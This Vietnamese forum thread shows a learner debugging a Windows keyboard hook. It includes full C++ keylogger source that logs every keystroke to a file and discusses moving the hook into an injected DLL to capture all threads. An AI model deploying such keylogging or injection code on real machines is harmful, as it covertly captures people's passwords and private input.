Vấn đề với SetWindowsHookEx

Xin chào mọi người, hiện tại mình đang tìm hiểu về setWindowsHookEx và demo viết một keylogger, theo mình tìm hiểu trên mạng thì code keylogger của người ta như sau:

#include <fstream>
#include <Windows.h>

using namespace std;

ofstream out("D:\\keys.txt", ios::out);


LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);

	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {

			// Invisible keys
		case VK_CAPITAL:	out << "<CAPLOCK>";		break;
		case VK_SHIFT:		out << "<SHIFT>";		break;
		case VK_LCONTROL:	out << "<LCTRL>";		break;
		case VK_RCONTROL:	out << "<RCTRL>";		break;
		case VK_INSERT:		out << "<INSERT>";		break;
		case VK_END:		out << "<END>";			break;
		case VK_PRINT:		out << "<PRINT>";		break;
		case VK_DELETE:		out << "<DEL>";			break;
		case VK_BACK:		out << "<BK>";			break;

		case VK_LEFT:		out << "<LEFT>";		break;
		case VK_RIGHT:		out << "<RIGHT>";		break;
		case VK_UP:			out << "<UP>";			break;
		case VK_DOWN:		out << "<DOWN>";		break;

			// Visible keys
		default:
			out << char(tolower(p->vkCode));

		}
	}
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main() {

	// Set windows hook
	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc, NULL, 0);

	MessageBox(NULL, L"Press OK to stop logging.", L"Information", MB_OK);

	out.close();

	return 0;
}

Như mọi người thấy thì trong ví dụ trên thì hàm keyboardHookProc nằm chung trong file source, tuy nhiên khi mình chuyển keyboardHookProc vào file DLL để demo DLL injection thì p->vkCode lại bị lỗi

Và khi mình kiểm tra giá trị của 2 tham số wParam và lParam thì nó khá là kì, trong code của người ta thì wParam = VM_KEYDOWN, còn khi trong dll thì nó lại bằng các giá trị code của key được nhấn, còn lParam thì bằng giá trị gì đó mình cũng không rõ nhưng khi kiểm tra thì mình nhận thấy là nếu giá trị lParam = 0x0000.... thì hình như là khi keydown còn lParam = 0xc000.... thì là khi keyup.

Các bạn cho mình hỏi là tại sao lại có sự khác biệt như vậy? Và có cách nào để mình có thể xử lý wParam và lParam giống như code của người ta không?

Mình cảm ơn.

Lỗi gì vậy bạn?
Có khả năng lParam không chứa thông tin gì hết.
Với thông tin bạn đưa thì chưa xác nhận được điều gì.
Liệu quá trình gọi SetWindowsHookEx của bạn đã đúng?
Hai tham số cuối, khi gọi trên cùng tiến trình và luồng thì nó có thể là 0 (NULL), nhưng khi gọi cho DLL thì nó phải có tham số đúng với module của DLL đó và định danh của luồng xử lý.

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985(v=vs.85)

2 Likes

Cảm ơn phản hồi của bạn.
Của mình nó không hẳn là lỗi mà là giá trị tại 2 tham số wParam và lParam của hàm keyboardHookProc mà mình chuyển vào file DLL nó khác với giá trị nhận được khi mình đặt hàm keyboardHookProc trong file Source.cpp

Hàm keyboardHookProc của mình trong DLL

Đây là đoạn code mình mình sử dụng SetWindowsHookEx trong file source.cpp, myDLL.dll là file dll chứa hàm keyboardHookProc bên trên.

Mình để tham số cuối là 0 vì muốn addr(HOOKPROC) áp dụng cho tất cả các thread, tức là cái myDLL.dll của mình sẽ được inject vào tất cả các thread và mình có thể bắt được keypress của tất cả các thread. Mình đọc docs nó ghi như vậy, mà không biết có hiểu đúng hay không?

Bạn xem phần Remarks xem có sai ở phần nào không. Vấn đề 23 bit và 64 bit đấy.

À, mình nhận ra vấn đề rồi.

WH_KEYBOARD_LL = 14
WH_KEYBOARD = 2

Nếu bạn dùng đến KBDLLHOOKSTRUCT thì đó phải là WH_KEYBOARD_LL.

2 Likes

vẫn không được luôn bạn ơi, với lại khi này dùng WH_KEYBOARD_LL thì phản hồi từ bàn phím khá chậm, còn khi để hàm keyboardHookProc trong file source.cpp như trên mạng thì chạy bình thường

Calling the CallNextHookEx function to chain to the next hook procedure is optional, but it is highly recommended; otherwise, other applications that have installed hooks will not receive hook notifications and may behave incorrectly as a result. You should call CallNextHookEx unless you absolutely need to prevent the notification from being seen by other applications.

Bạn có gọi đến CallNextHookEx ở cuối keyboardHookProc không vậy?

Unikey có mã nguồn thực hiện việc tương tự, bạn có thể tham khảo.
https://sourceforge.net/projects/unikey/files/unikey-win/3.62/Uk362src.zip/download?use_mirror=udomain

3 Likes

Cám ơn bạn đã hỗ trợ mình rất nhiều. :grinning:
Cuối cùng mình cũng tìm ra được nguyên nhân của nó là do SetWindowsHookEx chỉ áp dụng cho các chương trình dạng GUI nên không được sử dụng printf để xuất chuỗi ra màn hình console.

Khi mình thay printf thành MessageBox thì chương trình đã hoạt động đúng như mong đợi.

Ra thế à?
Thực ra thì GUI vẫn chạy trên Console được, có 2 cách mà mình có thể dùng kết hợp cả 2:

  1. Dùng cmd để khởi chạy ứng dụng đó kết hợp với hàm AttachConsole().
  2. Gọi đến hàm để tạo Console, AllocConsole().

Mình thường dùng để hiện 1 số thông tin để hỗ trợ gỡ lỗi.

3 Likes
83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?